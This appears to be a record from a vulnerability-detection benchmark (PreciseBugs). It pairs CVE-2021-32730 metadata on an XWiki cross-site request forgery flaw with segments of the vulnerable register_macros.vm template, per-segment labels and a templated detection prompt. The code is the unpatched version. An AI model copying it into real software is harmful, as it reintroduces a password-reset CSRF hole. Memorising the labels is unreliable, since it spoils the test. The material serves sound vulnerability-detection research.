[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [1631, 382], "buggy_code_start_loc": [1631, 174], "filenames": ["xwiki-platform-core/xwiki-platform-oldcore/src/main/resources/ApplicationResources.properties", "xwiki-platform-core/xwiki-platform-web/src/main/webapp/templates/register_macros.vm"], "fixing_code_end_loc": [1633, 388], "fixing_code_start_loc": [1632, 175], "message": "XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. A cross-site request forgery vulnerability exists in versions prior to 12.10.5, and in versions 13.0 through 13.1. It's possible for forge an URL that, when accessed by an admin, will reset the password of any user in XWiki. The problem has been patched in XWiki 12.10.5 and 13.2RC1. As a workaround, it is possible to apply the patch manually by modifying the `register_macros.vm` template.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*", "matchCriteriaId": "1D3FA811-A9C4-45F7-A876-BB5D69DA7BCE", "versionEndExcluding": "12.10.5", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:xwiki:xwiki:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "E8ED2C6F-77E6-4B53-A52D-0CD7FA08AFD1", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:xwiki:xwiki:13.1:-:*:*:*:*:*:*", "matchCriteriaId": "333C6A66-CDCD-46DC-A095-74D35B076A78", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:xwiki:xwiki:13.1:rc1:*:*:*:*:*:*", "matchCriteriaId": "948446E0-E5D0-4711-A763-1A050967EB0D", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. A cross-site request forgery vulnerability exists in versions prior to 12.10.5, and in versions 13.0 through 13.1. It's possible for forge an URL that, when accessed by an admin, will reset the password of any user in XWiki. The problem has been patched in XWiki 12.10.5 and 13.2RC1. As a workaround, it is possible to apply the patch manually by modifying the `register_macros.vm` template."}, {"lang": "es", "value": "Una plataforma XWiki es una plataforma wiki gen\u00e9rica que ofrece servicios en tiempo de ejecuci\u00f3n para las aplicaciones construidas sobre ella. Se presenta una vulnerabilidad de tipo cross-site request forgery en versiones anteriores a 12.10.5, y en versiones 13.0 hasta 13.1. Es posible falsificar una URL que, al ser accedida por un administrador, restablecer\u00e1 la contrase\u00f1a de cualquier usuario en XWiki. El problema ha sido parcheado en XWiki versiones 12.10.5 y 13.2RC1. Como soluci\u00f3n, es posible aplicar el parche manualmente modificando la plantilla \"register_macros.vm\""}], "evaluatorComment": null, "id": "CVE-2021-32730", "lastModified": "2021-07-09T13:58:12.373", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.7, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N", "version": "3.1"}, "exploitabilityScore": 2.1, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.7, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N", "version": "3.1"}, "exploitabilityScore": 2.1, "impactScore": 3.6, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-07-01T18:15:07.733", "references": [{"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/xwiki/xwiki-platform/commit/0a36dbcc5421d450366580217a47cc44d32f7257"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-v9j2-q4q5-cxh4"}, {"source": "security-advisories@github.com", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"], "url": "https://jira.xwiki.org/browse/XWIKI-18315"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-352"}], "source": "nvd@nist.gov", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-352"}], "source": "security-advisories@github.com", "type": "Secondary"}]}, "github_commit_url": "https://github.com/xwiki/xwiki-platform/commit/0a36dbcc5421d450366580217a47cc44d32f7257"}, "type": "CWE-352"}
128
Determine whether the {function_name} code is vulnerable or not.
[ "## ---------------------------------------------------------------------------\n## See the NOTICE file distributed with this work for additional\n## information regarding copyright ownership.\n##\n## This is free software; you can redistribute it and/or modify it\n## under the terms of the GNU Lesser General Public License as\n## published by the Free Software Foundation; either version 2.1 of\n## the License, or (at your option) any later version.\n##\n## This software is distributed in the hope that it will be useful,\n## but WITHOUT ANY WARRANTY; without even the implied warranty of\n## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n## Lesser General Public License for more details.\n##\n## You should have received a copy of the GNU Lesser General Public\n## License along with this software; if not, write to the Free\n## Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA\n## 02110-1301 USA, or see the FSF site: http://www.fsf.org.\n## ---------------------------------------------------------------------------\n## Defines what server generated error messages should look like\n## The error message when a field is entered incorrectly\n#set ($failureMessageParams = {'class': 'LV_validation_message LV_invalid'})\n## 'LV_validation_message LV_invalid' depends on this:\n$xwiki.get('ssfx').use('uicomponents/widgets/validation/livevalidation.css', true)\n##\n## The * next to the fields to denote they are mandatory.\n#set ($fieldMandatoryStar = {'class': 'xRequired'})\n##\n#macro (definePasswordFields, $fields, $passwordFieldName, $confirmPasswordFieldName, $passwordOptions)\n #set ($passwordRegexes = [])\n #if (\"$!passwordOptions\" == \"\")\n #set ($passwordLength = 6)\n #else\n #set ($passwordLength = $passwordOptions.passwordLength)\n #end\n #set ($patternLength = \"/.{\" + $passwordLength + \",}/\")\n #set ($passwordRegex =\n {\n 'pattern' : $patternLength,\n 'failureMessage' : $services.localization.render('platform.core.profile.passwd.instructionsPasswordLength', $passwordLength)\n })\n #set ($discard = $passwordRegexes.add($passwordRegex))\n #if ($passwordOptions.passwordRuleOneUpperCaseEnabled)\n #set ($passwordRegex =\n {\n 'pattern' : '/[A-Z]+/',\n 'failureMessage' : $services.localization.render('platform.core.profile.passwd.passwordMustContainUppercase')\n })\n #set ($discard = $passwordRegexes.add($passwordRegex))\n #end\n #if ($passwordOptions.passwordRuleOneLowerCaseEnabled)\n #set ($passwordRegex =\n {\n 'pattern' : '/[a-z]+/',\n 'failureMessage' : $services.localization.render('platform.core.profile.passwd.passwordMustContainLowercase')\n })\n #set ($discard = $passwordRegexes.add($passwordRegex))\n #end\n #if ($passwordOptions.passwordRuleOneNumberEnabled)\n #set ($passwordRegex =\n {\n 'pattern' : '/[0-9]+/',\n 'failureMessage' : $services.localization.render('platform.core.profile.passwd.passwordMustContainNumber')\n })\n #set ($discard = $passwordRegexes.add($passwordRegex))\n #end\n #if ($passwordOptions.passwordRuleOneSymbolEnabled)\n #set ($passwordRegex =\n {\n 'pattern' : '/\\W+/',\n 'failureMessage' : $services.localization.render('platform.core.profile.passwd.passwordMustContainSymbol')\n })\n #set ($discard = $passwordRegexes.add($passwordRegex))\n #end\n #set ($discard = $fields.add({\n 'name': $passwordFieldName,\n 'label': $services.localization.render('core.register.password'),\n 'params': {\n 'type': 'password',\n 'autocomplete': 'off',\n 'size': '60'\n },\n 'validate': {\n 'mandatory': {\n 'failureMessage': $services.localization.render('core.validation.required.message')\n },\n 'regexes': $passwordRegexes\n }\n }))\n##\n## The confirm password field, mandatory, must match password field, and must also be 6+ characters long.\n #set ($discard = $fields.add({\n 'name': $confirmPasswordFieldName,\n 'label': $services.localization.render('core.register.passwordRepeat'),\n 'params': {\n 'type': 'password',\n 'autocomplete': 'off',\n 'size': '60'\n },\n 'validate': {\n 'mandatory': {\n 'failureMessage': $services.localization.render('core.validation.required.message')\n },\n 'mustMatch': {\n 'name': $passwordFieldName,\n 'failureMessage': $services.localization.render('platform.core.profile.passwd.passwordMissmatch')\n }\n }\n }))\n#end\n##\n#*\n * Generate HTML form.\n *\n * @param $fields The array of fields to use for generating HTML code.\n * @param $request The request that is made by submitting the form.\n *#\n#macro (generateHtml, $fields, $request)\n ## Put the same values back into the fields (if is there any problem with a field from the request that is made).\n #getParams($fields, $request)\n <dl>\n #foreach ($field in $fields)\n #if ($field.name)\n #set ($fieldName = $field.name)\n #if ($field.label)\n #set ($label = $field.label)\n <dt><label for=\"$fieldName\">$label\n #if ($field.validate.mandatory)\n <span ##\n #foreach ($entry in $fieldMandatoryStar.entrySet())\n $entry.key=\"$entry.value\" ##\n #end\n >$services.localization.render('core.validation.required')</span>\n #end\n </label>\n </dt>\n #end\n ## If the field define its own html content, then use it directly.\n #if ($field.get('type') == 'html')\n <dd>$field.get('html')</dd>\n #else\n ## If no tag then default tag is <input>\n #if ($field.tag)\n #set ($tag = $field.tag)\n #else\n #set ($tag = 'input')\n #end\n <dd><$tag id=\"$fieldName\" ##\n #set ($params = $field.params)\n ## If no name parameter is specified, then we use the field name.\n #if (!$params.name)\n #set ($discard = $params.put('name', $fieldName))\n #end\n #foreach ($entry in $params.entrySet())\n ## If a parameter is specified as '' then we don't include it.\n #if ($entry.value != '')\n $entry.key=\"$escapetool.xml($entry.value)\" ##\n #end\n #end\n />\n #if ($field.error)\n <span ##\n #foreach ($entry in $failureMessageParams.entrySet())\n $entry.key=\"$entry.value\" ##\n #end\n >$field.error</span>\n #end\n </dd>\n #end\n #else\n $services.localization.render('xe.admin.registration.fieldWithNoName')\n #end\n #end\n </dl>", "", " #generateJavascript($fields)\n#end\n##\n#macro (validateRegexJS $regex $fieldName)\n #set ($pattern = \"\")\n #if ($regex.jsPattern)\n #set ($pattern = $regex.jsPattern)\n #elseif ($regex.pattern)\n #set ($pattern = $regex.pattern)\n #end\n #set ($failMessage = \"\")\n #if ($regex.jsFailureMessage)\n #set ($failMessage = $regex.jsFailureMessage)\n #elseif ($regex.failureMessage)\n #set ($failMessage = $regex.failureMessage)\n #end\n #if ($pattern != '' && $failMessage != '' && !$regex.noscript)\n ${fieldName}Validator.add(Validate.Format, {pattern: $pattern, failureMessage: \"$failMessage\"});\n #end\n#end\n#*\n * Generate the Javascript for interacting with LiveValidation.\n *\n * @param $fields The array of fields which to validate.\n *###\n#macro (generateJavascript, $fields)\n ## Load only the JS since the CSS is loaded after the declaration of 'LV_validation_message LV_invalid'.\n #set ($discard = $xwiki.jsfx.use('uicomponents/widgets/validation/livevalidation_prototype.js'))\n <script>\n /* <![CDATA[ */\n var initRegistrationFormValidation = function() {\n ##\n #foreach ($field in $fields)\n #if ($field.validate && $field.name)\n #set ($validate = $field.validate)\n #if (($validate.mandatory && !$validate.mandatory.noscript)\n || ($validate.regex && !$validate.regex.noscript)\n || $validate.regexes\n || ($validate.mustMatch) && !$validate.mustMatch.noscript)\n #set ($fieldName = $field.name)\n #if ($validate.fieldOkayMessage)\n #set ($okayMessage = $validate.fieldOkayMessage)\n #elseif (!$validate.hideOkayMessage)\n #set ($okayMessage = $services.localization.render('core.validation.valid.message'))\n #else\n #set ($okayMessage = '')\n #end\n var ${fieldName}Validator = new LiveValidation(\"$fieldName\", {validMessage: \"$okayMessage\", wait: 500});\n ##\n #if ($validate.mandatory)\n #set ($mandatory = $validate.mandatory)\n #if ($mandatory.failureMessage && !$mandatory.noscript)\n ${fieldName}Validator.add(Validate.Presence, {failureMessage: \"$!mandatory.failureMessage\"});\n #end\n #end\n ##\n #if ($validate.mustMatch)\n #set ($mustMatch = $validate.mustMatch)\n #if ($mustMatch.name && $mustMatch.failureMessage && !$mustMatch.noscript)\n ${fieldName}Validator.add(Validate.Confirmation, {match: $$(\"input[name=$!mustMatch.name]\")[0], \n failureMessage: \"$!mustMatch.failureMessage\"});\n #end\n #end\n ##\n #if ($validate.regex)\n #set ($regex = $validate.regex)\n #validateRegexJS($regex $fieldName)\n #end\n #if ($validate.regexes)\n #foreach($regex in $validate.regexes)\n #validateRegexJS($regex $fieldName)\n #end\n #end\n #end\n #end\n #end\n };\n document.observe('xwiki:dom:loaded', initRegistrationFormValidation);\n document.observe('xwiki:dom:updated', function(event) {\n var container = (event && event.memo && event.memo.elements && event.memo.elements[0]) || $('body');\n if (container.down('form#register')) {\n initRegistrationFormValidation();\n }\n });// ]]>\n </script>\n#end\n#*\n * Get parameters from request so that values will be filled in if there is a mistake\n * in one of the entries. Entries will be returned to fields[n].params.value\n * Fields will not be returned if they have either noReturn or error specified.\n *\n * @param $fields The array of fields to get parameters for.\n * @param $request The request that is made, from which the params will be returned.\n *###\n#macro (getParams $fields, $request)\n #foreach ($field in $fields)\n #if ($field.name && $!request.get($field.name))\n #if (!$field.noReturn && !$field.error)\n #if (!$field.params)\n #set ($params = {})\n #set ($discard = $field.put('params', $params))\n #else\n #set ($params = $field.params)\n #end\n #set ($discard = $params.put('value', $request.get($field.name)))\n #end\n #end\n #end\n#end\n####### Validation macros #########\n#macro(validateRegex $fieldValue, $fieldName, $regex, $error)\n #if($regex.get('pattern') && $regex.get('failureMessage'))\n ## Make Java regexes more compatible with Perl/js style regexes by removing leading and trailing /\n #if($regex.get('pattern').length() > 1)\n #set($pattern = $regex.get('pattern'))\n #if($pattern.lastIndexOf('/') < $pattern.length() - 1)\n ERROR: In field: ${fieldName}: regex validation does not allow flags after the /, please fix [${pattern}].\n #end\n #set($pattern = $pattern.substring($mathtool.add(1, $pattern.indexOf('/')), $pattern.lastIndexOf('/')))\n #else\n ## I don't expect this but want to maintain compatibility.\n #set($pattern = $regex.get('pattern'))\n #end\n #if($regextool.find($value, $pattern).isEmpty())\n #set($error = $regex.get('failureMessage'))\n #end\n #elseif($regex.get('pattern'))\n ERROR: In field: ${fieldName}: regex validation must include failureMessage.\n #end\n#end\n#*\n * Server side validation, this is necessary for security and because not everyone has Javascript\n *\n * @param $fields The array of fields to validate.\n * @param $request An XWikiRequest object which made the register request, used to get parameters.\n *###\n#macro(validateFields, $fields, $request)\n #set ($allFieldsValid = true)\n #set ($allFieldsErrors = [])", " #foreach($field in $fields)\n #if($field.get('validate') && $field.get('name'))\n #set($fieldName = $field.get('name'))\n #set($validate = $field.get('validate'))\n #set($error = '')\n #set($value = $request.get($fieldName))\n #if(\"$!value\" != '' || $field.get('type') == 'html')\n ##\n ## mustMatch validation\n #if($error == '' && $validate.get('mustMatch'))\n #set($mustMatch = $validate.get('mustMatch'))\n #if($mustMatch.get('name') && $mustMatch.get('failureMessage'))\n #if($request.get($fieldName) != $request.get($mustMatch.get('name')))\n #set($error = $mustMatch.get('failureMessage'))", " #end", " #else\n ERROR: In field: ${fieldName}: mustMatch validation required both name\n (of field which this field must match) and failureMessage.\n #end\n #end\n ##\n ## Regex validation\n ## We won't bother with regex validation if there is no entry, that would defeat the purpose of 'mandatory'\n #if($error == '' && $validate.get('regex') && $value && $value != '')\n #set($regex = $validate.get('regex'))\n #validateRegex($value, $fieldName, $regex, $error)\n #end\n ## List of regex validation\n #if($error == '' && $validate.get('regexes') && $value && $value != '')\n #set($regexes = $validate.get('regexes'))\n #foreach ($regex in $regexes)", " #validateRegex($value, $fieldName, $regex, $error)\n #end", " #end\n ##\n ## If regex and mustMatch validation passed, try programmatic validation\n #if($error == '' && $validate.get('programmaticValidation'))\n #set($pv = $validate.get('programmaticValidation'))\n #if($pv.get('code') && $pv.get('failureMessage'))\n #set($pvReturn = \"#evaluate($pv.get('code'))\")\n #if($pvReturn.indexOf('failed') != -1)\n #set($error = $pv.get('failureMessage'))", " #end", " #else\n ERROR: In field: ${fieldName}: programmaticValidation requires code and failureMessage\n #end\n #end\n #else\n ##\n ## If no content, check if content is mandatory\n #if($validate.get('mandatory'))\n #set($mandatory = $validate.get('mandatory'))\n #if($mandatory.get('failureMessage'))\n #set($error = $mandatory.get('failureMessage'))\n #else\n ERROR: In field: ${fieldName}: mandatory validation requires a failureMessage\n #end\n #end\n #end\n #if($error != '')\n #set($discard = $field.put('error', $error))\n #set ($discard = $allFieldsErrors.add($error))\n #set($allFieldsValid = false)\n #end\n #elseif(!$field.get('name'))\n ERROR: Field with no name.\n #end##if(validate)\n #end##loop", "#end##macro", "#*\n * Get the configuration from the configuration object.\n *\n * @param $configDocumentName The name of the document to get the configuration from.\n *###\n#macro(loadConfig, $configDocumentName)\n #set($configurationClassName = 'XWiki.Registration')\n #set($configDocument = $xwiki.getDocument($configDocumentName))\n #set ($passwordOptions = {})\n #if(!$configDocument || !$configDocument.getObject($configurationClassName))\n ## No config document, load defaults.\n #set($heading = \"$services.localization.render('core.register.title')\")\n #set($welcomeMessage = \"$services.localization.render('core.register.welcome')\")\n #set($useLiveValidation = true)\n #set($defaultFieldOkayMessage = \"$services.localization.render('core.validation.valid.message')\")\n #set($loginButton = true)\n #set($defaultRedirect = \"$xwiki.getURL($services.model.resolveDocument('', 'default', $doc.documentReference.extractReference('WIKI')))\")\n #set($userFullName = \"$request.get('register_first_name') $request.get('register_last_name')\")\n #set($registrationSuccessMessage = '{{info}}$services.localization.render(\"core.register.successful\", [\"[[${userFullName}>>${userSpace}${userName}]]\", ${userName}]){{/info}}')\n #set($passwordOptions.passwordLength = 6)\n #set($passwordOptions.passwordRuleOneLowerCaseEnabled = false)\n #set($passwordOptions.passwordRuleOneUpperCaseEnabled = false)\n #set($passwordOptions.passwordRuleOneNumberEnabled = false)\n #set($passwordOptions.passwordRuleOneSymbolEnabled = false)\n #else\n #set($configObject = $configDocument.getObject($configurationClassName))\n #if ($xcontext.action == 'register')\n #set ($heading = \"(% id='document-title'%)((( = #evaluate($configObject.getProperty('heading').getValue()) = )))(%%)\")\n #else\n #set ($heading = \"= #evaluate($configObject.getProperty('heading').getValue()) =\")\n #end\n #set($welcomeMessage = \"#evaluate($configObject.getProperty('welcomeMessage').getValue())\")\n #if($configObject.getProperty('liveValidation_enabled').getValue() == 1)\n #set($useLiveValidation = true)\n #end\n #set($defaultFieldOkayMessage = \"#evaluate($configObject.getProperty('liveValidation_defaultFieldOkMessage').getValue())\")\n #if($configObject.getProperty('loginButton_enabled').getValue() == 1)\n #set($loginButton = true)\n #end\n #if($configObject.getProperty('loginButton_autoLogin_enabled').getValue() == 1)\n #set($autoLogin = true)\n #end\n #set($defaultRedirect = \"#evaluate($configObject.getProperty('defaultRedirect').getValue())\")\n #set($registrationSuccessMessage = \"$configObject.getProperty('registrationSuccessMessage').getValue()\")\n #if($configObject.getProperty('requireCaptcha').getValue() == 1)\n #set($requireCaptcha = true)\n #end\n #if($configObject.getProperty('passwordRuleOneLowerCaseEnabled').getValue() == 1)\n #set($passwordOptions.passwordRuleOneLowerCaseEnabled = true)\n #end\n #if($configObject.getProperty('passwordRuleOneUpperCaseEnabled').getValue() == 1)\n #set($passwordOptions.passwordRuleOneUpperCaseEnabled = true)\n #end\n #if($configObject.getProperty('passwordRuleOneNumberEnabled').getValue() == 1)\n #set($passwordOptions.passwordRuleOneNumberEnabled = true)\n #end\n #if($configObject.getProperty('passwordRuleOneSymbolEnabled').getValue() == 1)\n #set($passwordOptions.passwordRuleOneSymbolEnabled = true)\n #end\n #set($passwordOptions.passwordLength = $configObject.getProperty('passwordLength').getValue())\n #if (\"$!passwordOptions.passwordLength\" == \"\" || $passwordOptions.passwordLength <= 1)\n #set ($passwordOptions.passwordLength = 6)\n #end\n #end\n#end" ]
[ 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [1631, 382], "buggy_code_start_loc": [1631, 174], "filenames": ["xwiki-platform-core/xwiki-platform-oldcore/src/main/resources/ApplicationResources.properties", "xwiki-platform-core/xwiki-platform-web/src/main/webapp/templates/register_macros.vm"], "fixing_code_end_loc": [1633, 388], "fixing_code_start_loc": [1632, 175], "message": "XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. A cross-site request forgery vulnerability exists in versions prior to 12.10.5, and in versions 13.0 through 13.1. It's possible for forge an URL that, when accessed by an admin, will reset the password of any user in XWiki. The problem has been patched in XWiki 12.10.5 and 13.2RC1. As a workaround, it is possible to apply the patch manually by modifying the `register_macros.vm` template.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*", "matchCriteriaId": "1D3FA811-A9C4-45F7-A876-BB5D69DA7BCE", "versionEndExcluding": "12.10.5", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:xwiki:xwiki:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "E8ED2C6F-77E6-4B53-A52D-0CD7FA08AFD1", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:xwiki:xwiki:13.1:-:*:*:*:*:*:*", "matchCriteriaId": "333C6A66-CDCD-46DC-A095-74D35B076A78", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:xwiki:xwiki:13.1:rc1:*:*:*:*:*:*", "matchCriteriaId": "948446E0-E5D0-4711-A763-1A050967EB0D", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. A cross-site request forgery vulnerability exists in versions prior to 12.10.5, and in versions 13.0 through 13.1. It's possible for forge an URL that, when accessed by an admin, will reset the password of any user in XWiki. The problem has been patched in XWiki 12.10.5 and 13.2RC1. As a workaround, it is possible to apply the patch manually by modifying the `register_macros.vm` template."}, {"lang": "es", "value": "Una plataforma XWiki es una plataforma wiki gen\u00e9rica que ofrece servicios en tiempo de ejecuci\u00f3n para las aplicaciones construidas sobre ella. Se presenta una vulnerabilidad de tipo cross-site request forgery en versiones anteriores a 12.10.5, y en versiones 13.0 hasta 13.1. Es posible falsificar una URL que, al ser accedida por un administrador, restablecer\u00e1 la contrase\u00f1a de cualquier usuario en XWiki. El problema ha sido parcheado en XWiki versiones 12.10.5 y 13.2RC1. Como soluci\u00f3n, es posible aplicar el parche manualmente modificando la plantilla \"register_macros.vm\""}], "evaluatorComment": null, "id": "CVE-2021-32730", "lastModified": "2021-07-09T13:58:12.373", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.7, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N", "version": "3.1"}, "exploitabilityScore": 2.1, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.7, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N", "version": "3.1"}, "exploitabilityScore": 2.1, "impactScore": 3.6, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-07-01T18:15:07.733", "references": [{"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/xwiki/xwiki-platform/commit/0a36dbcc5421d450366580217a47cc44d32f7257"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-v9j2-q4q5-cxh4"}, {"source": "security-advisories@github.com", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"], "url": "https://jira.xwiki.org/browse/XWIKI-18315"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-352"}], "source": "nvd@nist.gov", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-352"}], "source": "security-advisories@github.com", "type": "Secondary"}]}, "github_commit_url": "https://github.com/xwiki/xwiki-platform/commit/0a36dbcc5421d450366580217a47cc44d32f7257"}, "type": "CWE-352"}
128
Determine whether the {function_name} code is vulnerable or not.
